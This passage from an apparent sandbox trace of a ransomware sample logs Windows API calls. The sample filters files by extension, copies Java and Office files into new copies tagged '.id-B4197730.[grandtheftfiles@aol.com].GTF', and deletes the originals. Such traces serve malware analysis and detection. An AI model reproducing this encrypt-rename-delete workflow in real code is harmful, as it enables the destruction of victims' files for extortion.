	[0072.990] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString=".1cd") returned 4
	[0072.990] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString=".jpg") returned 4
	[0072.990] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0072.991] lstrcmpiW (lpString1=".txt", lpString2=".GTF") returned 1
	[0072.991] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27
	[0072.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.991] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=145180) returned 1
	[0072.991] CloseHandle (hObject=0x368) returned 1
	[0072.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20
	[0072.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.991] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.991] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.991] GetLastError () returned 0x0
	[0072.991] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2371c, lpOverlapped=0x0) returned 1
	[0072.996] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x23720, lpOverlapped=0x0) returned 1
	[0072.998] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.999] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0072.999] SetEndOfFile (hFile=0x2d0) returned 1
	[0072.999] CloseHandle (hObject=0x2d0) returned 1
	[0073.340] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.349] SetEndOfFile (hFile=0x368) returned 1
	[0073.401] CloseHandle (hObject=0x368) returned 1
	[0073.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1
	[0073.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.401] lstrlenW (lpString=".doc") returned 4
	[0073.401] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0073.401] lstrlenW (lpString=".docx") returned 5
	[0073.401] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0073.402] lstrlenW (lpString=".pdf") returned 4
	[0073.402] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString=".xls") returned 4
	[0073.402] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0073.402] lstrlenW (lpString=".xlsx") returned 5
	[0073.402] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0073.402] lstrlenW (lpString=".ppt") returned 4
	[0073.402] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.402] lstrlenW (lpString=".zip") returned 4
	[0073.402] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0073.402] lstrlenW (lpString=".rar") returned 4
	[0073.402] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString=".bz2") returned 4
	[0073.402] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString=".7z") returned 3
	[0073.402] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0073.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.402] lstrlenW (lpString=".dbf") returned 4
	[0073.402] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.402] lstrlenW (lpString=".1cd") returned 4
	[0073.402] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.402] lstrlenW (lpString=".jpg") returned 4
	[0073.402] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.402] lstrlenW (lpString=".doc") returned 4
	[0073.402] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString=".docx") returned 5
	[0073.402] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0073.402] lstrlenW (lpString=".pdf") returned 4
	[0073.402] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0073.402] lstrlenW (lpString=".xls") returned 4
	[0073.402] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0073.403] lstrlenW (lpString=".xlsx") returned 5
	[0073.403] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0073.403] lstrlenW (lpString=".ppt") returned 4
	[0073.403] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0073.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.403] lstrlenW (lpString=".zip") returned 4
	[0073.403] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0073.403] lstrlenW (lpString=".rar") returned 4
	[0073.403] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0073.403] lstrlenW (lpString=".bz2") returned 4
	[0073.403] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0073.403] lstrlenW (lpString=".7z") returned 3
	[0073.403] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0073.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.403] lstrlenW (lpString=".dbf") returned 4
	[0073.403] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0073.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.403] lstrlenW (lpString=".1cd") returned 4
	[0073.403] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0073.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0073.403] lstrlenW (lpString=".jpg") returned 4
	[0073.403] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0073.403] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.403] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53
	[0073.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0073.404] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1533) returned 1
	[0073.404] CloseHandle (hObject=0x368) returned 1
	[0073.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0073.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0073.404] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.405] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0073.405] GetLastError () returned 0x0
	[0073.405] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x5fd, lpOverlapped=0x0) returned 1
	[0073.406] WriteFile (in: hFile=0x31c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x600, lpOverlapped=0x0) returned 1
	[0073.407] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.407] WriteFile (in: hFile=0x31c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0073.408] SetEndOfFile (hFile=0x31c) returned 1
	[0073.408] CloseHandle (hObject=0x31c) returned 1
	[0073.409] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.409] SetEndOfFile (hFile=0x368) returned 1
	[0073.410] CloseHandle (hObject=0x368) returned 1
	[0073.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0073.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0073.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.410] lstrlenW (lpString=".doc") returned 4
	[0073.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.410] lstrlenW (lpString=".docx") returned 5
	[0073.410] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0073.410] lstrlenW (lpString=".pdf") returned 4
	[0073.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.410] lstrlenW (lpString=".xls") returned 4
	[0073.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.410] lstrlenW (lpString=".xlsx") returned 5
	[0073.410] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0073.410] lstrlenW (lpString=".ppt") returned 4
	[0073.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString=".zip") returned 4
	[0073.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.411] lstrlenW (lpString=".rar") returned 4
	[0073.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString=".bz2") returned 4
	[0073.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString=".7z") returned 3
	[0073.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString=".dbf") returned 4
	[0073.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString=".1cd") returned 4
	[0073.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString=".jpg") returned 4
	[0073.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString=".doc") returned 4
	[0073.411] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString=".docx") returned 5
	[0073.411] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0073.411] lstrlenW (lpString=".pdf") returned 4
	[0073.411] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString=".xls") returned 4
	[0073.411] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString=".xlsx") returned 5
	[0073.411] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0073.411] lstrlenW (lpString=".ppt") returned 4
	[0073.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.411] lstrlenW (lpString=".zip") returned 4
	[0073.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.411] lstrlenW (lpString=".rar") returned 4
	[0073.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.412] lstrlenW (lpString=".bz2") returned 4
	[0073.412] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.412] lstrlenW (lpString=".7z") returned 3
	[0073.412] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.412] lstrlenW (lpString=".dbf") returned 4
	[0073.412] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.412] lstrlenW (lpString=".1cd") returned 4
	[0073.412] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0073.412] lstrlenW (lpString=".jpg") returned 4
	[0073.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.412] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.412] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53
	[0073.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0073.413] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=800867) returned 1
	[0073.413] CloseHandle (hObject=0x368) returned 1
	[0073.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0073.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0073.413] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.413] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0073.413] GetLastError () returned 0x0
	[0073.413] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xc3863, lpOverlapped=0x0) returned 1
	[0073.927] WriteFile (in: hFile=0x31c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xc3870, lpOverlapped=0x0) returned 1
	[0073.981] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.981] WriteFile (in: hFile=0x31c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0073.982] SetEndOfFile (hFile=0x31c) returned 1
	[0073.982] CloseHandle (hObject=0x31c) returned 1
	[0073.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.998] SetEndOfFile (hFile=0x368) returned 1
	[0075.642] CloseHandle (hObject=0x368) returned 1
	[0075.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0075.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1
	[0075.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.863] lstrlenW (lpString=".doc") returned 4
	[0075.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.863] lstrlenW (lpString=".docx") returned 5
	[0075.864] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.864] lstrlenW (lpString=".pdf") returned 4
	[0075.864] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString=".xls") returned 4
	[0075.864] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString=".xlsx") returned 5
	[0075.864] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.864] lstrlenW (lpString=".ppt") returned 4
	[0075.864] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.864] lstrlenW (lpString=".zip") returned 4
	[0075.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.864] lstrlenW (lpString=".rar") returned 4
	[0075.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString=".bz2") returned 4
	[0075.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString=".7z") returned 3
	[0075.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.864] lstrlenW (lpString=".dbf") returned 4
	[0075.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.864] lstrlenW (lpString=".1cd") returned 4
	[0075.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.864] lstrlenW (lpString=".jpg") returned 4
	[0075.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.864] lstrlenW (lpString=".doc") returned 4
	[0075.864] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString=".docx") returned 5
	[0075.864] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.864] lstrlenW (lpString=".pdf") returned 4
	[0075.864] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.864] lstrlenW (lpString=".xls") returned 4
	[0075.865] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
